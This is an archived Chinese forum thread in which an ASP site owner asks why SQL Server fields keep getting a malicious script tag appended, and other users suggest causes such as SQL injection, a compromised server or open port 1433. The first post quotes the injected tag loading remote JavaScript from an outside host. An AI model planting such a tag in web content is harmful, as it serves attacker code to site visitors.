SQLServer数据库数据总被恶习意修改是什么原因？ - asp技术学习

xxh

2008-06-14 17:41:49
阅读：8210次
回复
只看此人

楼主

积分733
经验13813
文章656
注册2003-12-16

SQLServer数据库数据总被恶习意修改是什么原因？

[SIZE=2]我的网站服务器，是ASP的，数据库是SQLSERVER的，最近SQL数据库中的某些数据表的个别字段总是被截断并追赶加内容为<script src=http://www.[COLOR=#c60a00]fengnima[/SIZE].cn/k.js></script>的恶意代码。网站的ASP文件一点也没有被破坏，也没有看到什么新文件产生。ASP文件没有SQL注入的问题，网站服务也仅开放了80端口，网站WEB日志中也没有看到什么异常。请大家帮助分析一下，可能是什么原因呢？（注：数据库与WEB程序是同一机器上的）[/COLOR]

[ 此贴最后由xyxp在2008-6-14 20:03:02编辑过 ]

asp技术学习感谢您的参与

xyxp

2008-06-14 20:05:09
引用
只看此人

2楼

空灵君

徽章

职务论坛版主
声望＋1
积分3727
经验57014
文章2374
注册2004-07-01

论坛专用虚拟主机

最可能是你服务器中毒了，不排除旁注可能另外就是你站点有sql注入漏洞但是未被你发现的

asp技术学习感谢您的参与

xxh

2008-06-16 10:32:08
引用
只看此人

3楼

积分733
经验13813
文章656
注册2003-12-16

谢谢楼上的回复,虽然你的答复没有超出我的想象!

asp技术学习感谢您的参与

xyxp

2008-06-17 06:51:14
引用
只看此人

4楼

空灵君

徽章

职务论坛版主
声望＋1
积分3727
经验57014
文章2374
注册2004-07-01

我不是服务器管理员，再说你只给出了故障情况并没有受损数据库及相应的系统、数据库服务器日志所以，只能给出最常也最有可能出现的可能性当然还有一种可能是对方直接通过1433端口连接Sqlserver 如果是我所管理的服务器，这个问题会在第一时间被解决

asp技术学习感谢您的参与

xxh

2008-06-17 08:27:29
引用
只看此人

5楼

积分733
经验13813
文章656
注册2003-12-16

直接通过1433端口连接Sqlserver? 服务器用Tcp/IP筛选只开了80端口呀?而且硬件防火墙只开了80端口呀顺便说下:我不是网管,业余的,呵呵.

asp技术学习感谢您的参与

bosom

2008-07-03 21:28:09
引用
只看此人

6楼

徽章

积分144
经验5063
文章114
注册2005-07-16

不可能，那你的SQL也要开放端口啊！从情况来看，我觉得毒机率大些,看一下是不是网站能上传的地方有运行权限

asp技术学习感谢您的参与

飞鱼在线

2008-07-08 15:35:05
引用
只看此人

7楼

徽章

积分168
经验3356
文章145
注册2004-12-05

楼主你查下你SQL数据库是不是就一个表还是几个表如果是一个表的请查查你的网站程序是不是存在漏洞别人通过更新你数据库把恶意字符添加进去

asp技术学习感谢您的参与

Karlson

2011-11-06 01:01:11
引用
只看此人

8楼

大哥

徽章

职务论坛版主
声望＋9
积分2954
经验49997
文章1893
注册2003-03-18

我不是高手。顶，

asp技术学习感谢您的参与

cc酱

2013-11-01 10:23:10
引用
只看此人

9楼

积分17
经验116
文章16
注册2013-11-01

感觉好厉害的样子呢

asp技术学习感谢您的参与